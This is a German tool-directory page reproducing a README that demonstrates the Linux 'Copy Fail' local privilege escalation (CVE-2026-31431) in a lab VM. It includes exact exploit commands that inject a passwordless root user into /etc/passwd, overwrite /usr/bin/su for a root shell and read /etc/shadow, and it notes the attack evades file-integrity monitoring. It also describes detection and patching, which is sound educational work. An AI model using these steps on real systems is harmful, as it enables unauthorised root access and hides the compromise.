Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — Eine Demo und Erklärung von CVE-2026-31431 | Kitploit
Tools/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
Privilege EscalationSchwachstellenanalyseExploitationLernen & BildungBinary-Exploitation
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

Eine Demo und Erklärung von CVE-2026-31431

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
119vor 8 TagenNoch nicht geprüft

CVE-2026-31431 CopyFail Linux Local Privilege Escalation

Eine Demonstration und Erklärung von CVE-2026-31431, der Linux-Kernel Copy Fail Local Privilege Escalation-Schwachstelle. Die Schwachstelle ermöglicht es, dass bei Dateien, die mit Leserecht geöffnet wurden, Daten im Page-Cache überschrieben werden.

Dieses Repository dient ausschließlich Bildungszwecken und veranschaulicht die Schwachstelle in einer kontrollierten Umgebung. Die enthaltenen Dateien sind:

├── exploit
│   ├── copy_fail.py            # Benutzerdefinierter Exploit, der auf jede Datei mit Leserechten abzielen kann
│   ├── original_payload.txt    # Eine Kopie des im Original-Exploit verwendeten Payloads
│   ├── copy_fail_original.py   # Original-Exploit, der /usr/bin/su überschreibt
│   └── copy_fail_readable.py   # Original-Exploit in einem besser lesbaren Format mit einer Erklärung des Payloads
├── README.md
└── Vagrantfile                 # Einrichtung für die Vagrant-VM mit Ubuntu 22.04

Einführung

Die Schwachstelle mit dem Namen Copy Fail ist in Linux-Kerneln von 2017 bis 2026 aufgrund eines Logikfehlers in algif_aead vorhanden. Ihr wurde CVE-2026-31431 mit einem CVSS-Score von 7.8 zugewiesen, was zu einer Einstufung als hohes Risiko führt. Der Exploit ist deterministisch und kann traditionelle Dateiintegritätsüberwachungswerkzeuge umgehen.

Proof of Concepts wurden in verschiedenen Sprachen veröffentlicht, darunter C, Python und Go, aber für diese Demonstration wird Python verwendet und erfordert Python Version 3.10 oder höher. Dieser Exploit erfordert lokale Codeausführung als unterprivilegierter Benutzer und kann zur lokalen Privilegieneskalation verwendet werden.

Die folgenden Abschnitte sind:

  • Ausnutzung: Demonstrationen des Exploits und wie er verwendet werden kann, um Root-Privilegien zu erlangen.
  • Hinweis zur Erkennung der Ausnutzung: Eine Erklärung, warum dieser Exploit mit traditionellen Dateiintegritätsüberwachungswerkzeugen schwer zu erkennen ist.
  • Schwachstelle: Ein Link zu dem Commit, der die Schwachstelle eingeführt hat, und eine Erklärung des Problems.
  • Patch: Ein Link zu dem Commit, der die Schwachstelle gepatcht hat, und eine Erklärung der Korrektur.
  • Weitere Ressourcen: Eine Liste von Ressourcen zum Weiterlesen und Implementierungen des Exploits in verschiedenen Sprachen

Ausnutzung

Einrichtung

Stellen Sie sicher, dass Vagrant und QEMU installiert sind. Klonen Sie dann dieses Repository und navigieren Sie zum Projektverzeichnis.

vagrant up
vagrant ssh

Innerhalb der VM können wir die Grenzen unserer Möglichkeiten testen.

id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # Wir werden nach dem Root-Passwort gefragt, das wir nicht haben

stat /usr/bin/su # Wir haben Lese- und Ausführungsrechte
stat /etc/passwd # Wir haben Leserecht
stat /etc/shadow # Wir haben keine Rechte

Wir sind offensichtlich in unseren Möglichkeiten eingeschränkt, aber wir können die Schwachstelle nutzen, um Privilegien zu eskalieren.

Ausnutzungsdemo 1: Den Exploit verstehen

Um die Schwachstelle zu verstehen, überschreiben wir eine Dummy-Datei und sehen, was passiert.

echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

Wir haben eine Datei mit drei Zeilen. Die erste Zeile hat 6 Bytes (einschließlich Zeilenumbruch), die zweite Zeile hat 2 Bytes und die dritte Zeile ist ein einzelnes Byte. Dies ist wichtig, weil der Exploit Daten in Blöcken von 4 Bytes überschreibt und wir den Payload auffüllen, um ihn zu vervollständigen.

python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

Wir können sehen, dass wir die ersten 8 Bytes der Datei durch unseren Payload ersetzt haben. Es gibt zwei Zeichen, die vorhanden sind, aber nicht druckbar sind. Öffnen Sie die Datei in nano, um dies zu überprüfen. Aber das ist nicht allzu aufregend, also fahren wir fort und schreiben in Dateien, für die wir keine Schreibrechte haben.

Ausnutzungsdemo 2: Das Root-Passwort entfernen

Wir können den Inhalt von /etc/passwd überschreiben, um einen Benutzer mit Root-Privilegien, aber ohne Passwort hinzuzufügen.

cat /etc/passwd

Die erste Zeile enthält den Root-Benutzer und besteht aus 8 Gruppen von 4 Zeichen (einschließlich des Zeilenumbruchs). Sie ist wie folgt formatiert: root:x:0:0:root:/root:/bin/bash, und die Werte beziehen sich auf Benutzername, Passwort, UID, GID, Home-Verzeichnis, Shell.

python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

Wir haben einen neuen Benutzer hackd mit UID 0 und GID 0 hinzugefügt, was bedeutet, dass er Root-Privilegien hat. Das Passwortfeld ist leer, sodass wir uns ohne Passwort anmelden können.

su hackd
id
cat /etc/shadow

Ausnutzungsdemo 3: Überschreiben einer ausführbaren Datei

Im Original-Exploit wird die Binärdatei /usr/bin/su mit Anweisungen zum Ausführen einer Shell überschrieben, wodurch der Angreifer Root-Privilegien erlangt, wenn er su ausführt. Wir können diesen Exploit nachbilden, indem wir mit dem Original-Payload aus einer Datei auf /usr/bin/su abzielen. Beachten Sie, dass dies die su-Binärdatei in diesem Page-Cache zerstört.

python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

Mit dem platzierten Payload können wir su ausführen und Root-Privilegien erlangen. Dies öffnet eine Shell mit Benutzer-ID 0, was normalerweise der Root-Benutzer ist, aber wenn die obige Demo durchgeführt wurde, wäre es der von uns erstellte Benutzer hackd. Dieser Exploit würde eine Shell öffnen, selbst wenn der root-Benutzer ein Passwort hat.

su
id

Hinweis zur Erkennung der Ausnutzung

Dieser Exploit modifiziert nicht die Datei auf der Festplatte, sondern den Page-Cache-Zustand. Infolgedessen erkennen traditionelle Dateiintegritätsüberwachungswerkzeuge, die auf Änderungen an Dateien auf der Festplatte prüfen, diesen Exploit nicht.

Um dies zu demonstrieren, führen Sie den/die obigen Exploit(s) aus und überprüfen Sie nach einem Neustart der VM den Inhalt der Zieldatei.

vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # Die Datei ist auf der Festplatte unverändert

Erkennungsregeln werden in Community-GitHub-Repos geteilt, die versuchen, Netzwerkindikatoren oder bekannte Skriptmuster zu erkennen. Diese Erkennungsregeln basieren auf öffentlichen PoC-Artefakten, bekannten Payloads, Codefragmenten und URLs.

  • Yara-Regeln
  • Sigma-Regeln

Zum Beispiel würde das Folgende bestimmte PoC-bezogene Codefragmente oder kodierte Payloads erkennen:

Tool herunterladen